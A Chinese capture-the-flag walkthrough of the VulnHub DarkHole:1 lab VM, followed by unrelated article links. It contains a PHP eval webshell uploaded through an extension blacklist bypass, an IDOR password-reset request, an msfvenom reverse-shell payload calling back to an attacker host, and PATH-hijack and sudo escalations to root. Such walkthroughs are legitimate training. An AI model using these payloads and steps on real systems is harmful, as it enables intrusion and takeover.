[vulnhub] DarkHole: 1

news2024/11/14 5:02:45

https://www.vulnhub.com/entry/darkhole-1,724/

端口扫描主机发现

  1. 探测存活主机,184是靶机

    nmap -sP 192.168.75.0/24
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00016s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.184
    Host is up (0.00032s latency).
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:FE:CA:7A (VMware)
    Nmap scan report for 192.168.75.151
    
  2. 探测主机所有开放端口

    nmap -sT -min-rate 10000 -p- 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0011s latency).
    Not shown: 65533 closed tcp ports (conn-refused)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    
  3. 探测服务版本以及系统版本

    nmap -sV -sT -O -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0022s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  4. 扫描漏洞

    nmap -script=vuln -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.00057s latency).
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    | http-csrf: 
    | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |       httponly flag not set
    |   /login.php: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    | http-enum: 
    |   /login.php: Possible admin folder
    |   /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    

web渗透

  1. 访问主页,存在登录页面链接

    在这里插入图片描述

  2. 先扫描目录看看

    dirsearch -u http://192.168.75.184 -x 403,404 
    //
    [10:07:48] Starting:                                                                                                                                         
    [10:07:48] 301 -  313B  - /js  ->  http://192.168.75.184/js/                
    [10:08:10] 301 -  317B  - /config  ->  http://192.168.75.184/config/        
    [10:08:10] 200 -  460B  - /config/                                          
    [10:08:11] 301 -  314B  - /css  ->  http://192.168.75.184/css/              
    [10:08:12] 200 -   21B  - /dashboard.php                                    
    [10:08:21] 200 -  487B  - /js/                                              
    [10:08:23] 200 -    1KB - /login.php                                        
    [10:08:24] 302 -    0B  - /logout.php  ->  login.php                        
    [10:08:35] 200 -    1KB - /register.php                                     
    [10:08:45] 301 -  317B  - /upload  ->  http://192.168.75.184/upload/        
    [10:08:45] 200 -  456B  - /upload/       
    
    • /dashboard.php 无权限
    • /upload 上传文件夹
    • /config 存在database.php
  3. 登陆页面存在注册,我们注册用户test登录

    进去后发现可以update信息以及更改密码,感觉会存在注入

    在这里插入图片描述

  4. 测试是否存在注入

    • Details Update 部分

      使用sqlmap测试没找到注入点

    • Password Change 部分

      这部分没注入….但是修改密码区域可以抓包将传入的id值修改,我们可以将其修改为id=1的用户(可能是管理用户)

      POST /dashboard.php?id=2 HTTP/1.1
      Host: 192.168.75.184
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 20
      Origin: http://192.168.75.184
      Sec-GPC: 1
      Connection: keep-alive
      Referer: http://192.168.75.184/dashboard.php?id=2
      Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu
      Upgrade-Insecure-Requests: 1
      Priority: u=0, i
      
      password=123456&id=1
      

      成功将包发送,提示Password has been change

  5. 登陆后台,用户名使用admin ,密码是用修改后的123456 ,成功进入

    在这里插入图片描述

    多了个上传文件框

  6. 尝试文件上传上传🐎

    • 直接上传2.php ,内容是一句马,提示:Sorry , Allow Ex : jpg,png,gif 看着像是白名单

    • 尝试了一下,不只是可以上传jpg,png,gif ,其他文件也可以,所以更像是把php类的文件后缀放进黑名单了

    • 这里涉及到一些文件上传CTF的套路,我们将php改为其他可以解释为php文件的后缀,我将其修改为phtml ,上传成功(我是抓包后修改的,也可以直接修改文件后缀然后直接上传)

      Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml"
      Content-Type: application/octet-stream
      
      <?php @eval($_POST[x]); ?>
      
    • 上传的文件保存在了/upload路径,测试能否使用

      在这里插入图片描述

      可以正常包含

  7. 使用蚁🗡连接

    在这里插入图片描述

提权

  1. 我们先反弹shell ,靶机自带的nc不支持-e ,所以我们需要上传反弹shell脚本然后包含

    • 生成脚本

      msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php
      [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
      [-] No arch selected, selecting arch: php from the payload
      No encoder specified, outputting raw payload
      Payload size: 1115 bytes
      
    • 在蚁🗡将脚本上传upload文件夹里

      在这里插入图片描述

    • kali打开msf监听

      msf6 > use exploit/multi/handler 
      [*] Using configured payload generic/shell_reverse_tcp
      msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
      payload => php/meterpreter/reverse_tcp
      msf6 exploit(multi/handler) > set lhost 192.168.75.151
      lhost => 192.168.75.151
      msf6 exploit(multi/handler) > set lport 1234
      lport => 1234
      msf6 exploit(multi/handler) > run
      
    • 网页访问上传的脚本文件

      在这里插入图片描述

    • 获得shell

      [*] Started reverse TCP handler on 192.168.75.151:1234 
      [*] Sending stage (39927 bytes) to 192.168.75.184
      [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800
      
      meterpreter > 
      

      输入shell获得shell命令行

  2. 查看权限

    $ whoami
    www-data
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ uname -a
    Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    
  3. 寻找利用点

    • SUID权限

      $ find / -perm -u=s -type f 2>/dev/null
      /usr/lib/snapd/snap-confine
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/bin/su
      /usr/bin/at
      /usr/bin/umount
      /usr/bin/pkexec
      /usr/bin/sudo
      /usr/bin/passwd
      /usr/bin/chfn
      /usr/bin/chsh
      /usr/bin/gpasswd
      /usr/bin/fusermount
      /usr/bin/newgrp
      /usr/bin/mount
      /home/john/toto
      

      /home/john/toto 这个一看就不对劲

    • 数据库配置文件

      $ cat database.php
      <?php
      $connect = new mysqli("localhost",'john','john','darkhole');
      

      可以尝试密码碰撞ssh,但是密码错误

  4. 来到/home/john/ ,下有四个文件

    $ ls
    file.py
    password
    toto
    user.txt
    

    但是除了toto有读和执行权限,别的都没有权限,前面suid也搜索出了toto ,尝试利用

  5. 利用toto

    • 因为不知道有什么作用,我们直接执行

      $ ./toto
      uid=1001(john) gid=33(www-data) groups=33(www-data)
      
    • 我们通过蚁🗡下载该文件下来,使用IDA反编译看看写了啥

      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        setuid(0x3E9u);
        setgid(0x3E9u);
        return system("id");
      }
      

      设置UID然后设置GID最后输出ID命令

    • 劫持环境变量

      因为他会执行id ,所以我们修改环境变量让他执行id的时候执行/bin/bash

      $ echo "/bin/bash" > /tmp/id
      $ chmod 777 /tmp/id
      $ export PATH=/tmp:$PATH 
      

      $ export PATH=/tmp:PATH 设置/tmp为环境变量的开头,那样就可以一开始就去/tmp寻找 id 也就是/bin/bash

      执行toto ,获得john的shell

      $ ./toto
      john@darkhole:/home/john$
      
  6. 获得john的用户后查看之前没权限看的文件

    • passwordjohn的密码,我们用它去ssh登录john获得更好的用户交互shell

      john@darkhole:~$ cat password 
      root123
      
    • file.py是空的

      ohn@darkhole:~$ cat file.py 
      
      
    • user.txt 一个flag

      john@darkhole:~$ cat user.txt 
      DarkHole{You_Can_DO_It}
      
  7. 寻找利用点

    • 查看sudo权限

      john@darkhole:~$ sudo -l
      [sudo] password for john: 
      Matching Defaults entries for john on darkhole:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
      
      User john may run the following commands on darkhole:
          (root) /usr/bin/python3 /home/john/file.py
      

      可以使用root权限执行file.py文件,哦豁,可以提权了

    • 编辑file.py文件,将提权语句写入file.py

      ehco "import os;os.system('/bin/bash');" >> file.py
      
    • 使用sudo权限执行

      john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py 
      root@darkhole:
      

      获得root!!!

  8. 读取flag文件

    root@darkhole:~# cat root.txt 
    DarkHole{You_Are_Legend}
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2236917.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

iPhone 微信传大文件到QQ

问题 解决方法 在微信里打开要拷贝的文件 选择“...” 选择“用其他应用打开” 长按QQ 选择“拷贝到App”&#xff08;有些版本是“在App中打开”&#xff09;

【学习笔记】网络设备(华为交换机)基础知识 11 —— 信息中心 ② 配置案例

提示&#xff1a;学习华为交换机信息中心配置案例&#xff0c;包含配置输出Log信息 &#xff08; 输出到Log缓冲区、控制台、日志文件、终端 &#xff09;、配置输出Trap信息 &#xff08; 输出到Trap缓冲区、控制台、日志文件、终端 &#xff09;、 配置输出Debug信息 &#x…

电脑管家实时监控软件下载 | 六款知名又实用的电脑监控软件推荐!(珍藏篇)

在当今的商业环境&#xff0c;企业对于员工在工作期间的行为监控需求越来越强烈。 尤其是在网络化和信息化程度不断提高的今天&#xff0c;电脑管家实时监控软件是企业管理员工工作行为、提高工作效率、防止信息泄露的重要工具。 本文&#xff0c;将为您推荐六款知名又实用的电…

PICO+Unity MR空间网格

官方链接&#xff1a;空间网格 | PICO 开发者平台 注意&#xff1a;该功能只能打包成APK在PICO 4 Ultra上真机运行&#xff0c;无法通过串流或PICO developer center在PC上运行。使用之前要开启视频透视。 在 Inspector 窗口中的 PXR_Manager (Script) 面板上&#xff0c;勾选…

Spring Boot中集成MyBatis操作数据库详细教程

目录 前言1. 项目依赖配置1.1 引入MyBatis和数据库驱动依赖1.2 数据源配置 2. 创建数据库映射实体类3. 创建Mapper层接口4. 创建Service层4.1 定义Service接口4.2 实现Service接口 5. 创建Controller层6. 运行和测试项目6.1 启动项目6.2 测试接口 7. 总结 前言 在Java开发中&a…

DirectShow过滤器开发-写AVI视频文件过滤器

下载本过滤器DLL 本过滤器将视频流和音频流写入AVI视频文件。 过滤器信息 过滤器名称&#xff1a;写AVI 过滤器GUID&#xff1a;{2EF49957-37DF-4356-A2A0-ECBC52D1984B} DLL注册函数名&#xff1a;DllRegisterServer 删除注册函数名&#xff1a;DllUnregisterServer 过滤器有…

使用 API 和离线库查询 IP 地址方法详解

目录 一、IP 地址查询能获取哪些信息1.地理位置信息2.网络信息3.网络类型 二、IP 地址查询方法&#xff0c;附代码1.在线查询 IP 地址方法2.使用 API 进行 IP 地址查询3.使用离线库进行 IP 地址查询 互联网监管部门要求公开 IP 归属地&#xff0c;引起了很大热度&#xff0c;但…

机器学习在时间序列预测中的应用与实现——以电力负荷预测为例(附代码)

&#x1f4dd;个人主页&#x1f339;&#xff1a;一ge科研小菜鸡-CSDN博客 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 1. 引言 随着数据采集技术的发展&#xff0c;时间序列数据在各个领域中的应用越来越广泛。时间序列预测旨在基于过去的时间数据来…

语音识别ic赋能烤箱,离线对话操控,引领智能厨房新体验

一、智能烤箱产品的行业背景 随着科技的飞速发展&#xff0c;智能家居已经成为现代家庭的新宠。智能烤箱作为智能家居的重要组成部分&#xff0c;正逐渐从高端市场走向普通家庭。消费者对于烤箱的需求不再仅仅局限于基本的烘焙功能&#xff0c;而是更加注重其智能化、便捷化和…

【C++】异常处理机制(对运行时错误的处理)

&#x1f308; 个人主页&#xff1a;谁在夜里看海. &#x1f525; 个人专栏&#xff1a;《C系列》《Linux系列》 ⛰️ 天高地阔&#xff0c;欲往观之。 目录 引言 1.编译器可以处理的错误 2.编译器不能处理的错误 3.传统的错误处理机制 assert终止程序 返回错误码 一、…

Python基础学习-03逻辑分支语句、循环

目录 1、记住逻辑关系 2、逻辑分支语句 3、for-loop循环 4、while-loop 5、break 和 continue 6、本节总结 1、记住逻辑关系 • 逻辑关系 1&#xff09; True&#xff08;真&#xff09; 和 False&#xff08;假&#xff09; 2&#xff09;逻辑关系有 and&#xff08;与…

【Windows】Android Studio 上cmd 换为Powershell 终端

最近在Windows 环境下Android Studio 的Terminal 终端&#xff0c;低版本默认用的是cmd.exe&#xff0c;好多linux 命令不支持&#xff0c;有时候一不小心就记忆错了&#xff1b;干脆直接换成Windows PowerShell 得了。 下载Powershell&#xff1a;https://aka.ms/PSWindows 选…

javascript实现sha512和sha384算法(支持微信小程序),可分多次计算

概述&#xff1a; 本人前端需要实现sha512和sha384计算的功能&#xff0c;最好是能做到分多次计算。 本文所写的代码在现有sha512和sha384的C代码&#xff0c;反复测试对比计算过程参数&#xff0c;成功改造成sha512和sha384的javascript代码&#xff0c;并成功验证好分多次计算…

Pr 视频过渡:沉浸式视频

效果面板/视频过渡/沉浸式视频 Video Transitions/Immersive Video Adobe Premiere Pro 的视频过渡效果中&#xff0c;沉浸式视频 Immersive Video效果组主要用于 VR 视频剪辑之间的过渡。 自动 VR 属性 Auto VR Properties是所有 VR 视频过渡效果的通用选项。 默认勾选&#x…

Ascend C的编程模型

1 并发执行 Ascend C和cudnn相似&#xff0c;都是一种多核心编程的范式。想要了解Ascend C&#xff0c;必须得先掌握这种“多核”是怎么实现得。 多核执行&#xff0c;说白了就是使用CPU/GPU/Ascend的物理多核并发去执行一段流程&#xff0c;一般情况下&#xff0c;可以通过以…

商品,订单风控业务梳理二

订单风控流程 业务风控系统

苍穹外卖05-Redis相关知识点

目录 什么是Redis&#xff1f; redis中的一些常用指令 value的5种常用数据类型 各种数据类型的特点 Redis中数据操作的常用命令 字符串类型常用命令&#xff1a; 哈希类型常用命令 列表操作命令 集合操作命令 有序集合操作命令 通用命令 在java中操作Redis 环境…

一些面试题总结(一)

1、string为什么是不可变的&#xff0c;有什么好处 原因&#xff1a; 1、因为String类下的value数组是用final修饰的&#xff0c;final保证了value一旦被初始化&#xff0c;就不可改变其引用。 2、此外&#xff0c;value数组的访问权限为 private&#xff0c;同时没有提供方…

3.3 软件需求:面对对象分析模型

面对对象分析模型 1、对象2、面对对象的软件开发模型3、用例图建模基础3.1 用例图基本符号参与者用例系统执行关联 3.2 用例建模过程3.3 用例图初步3.4 用例图进阶关联Association泛化Inheritance包含Include扩展Extend示例 1、对象 在现实世界中有意义的&#xff0c;与所要解…

「C/C++」C++标准库 之 #include<exception> 异常处理库

✨博客主页何曾参静谧的博客&#x1f4cc;文章专栏「C/C」C/C程序设计&#x1f4da;全部专栏「VS」Visual Studio「C/C」C/C程序设计「UG/NX」BlockUI集合「Win」Windows程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「PK」Parasoli…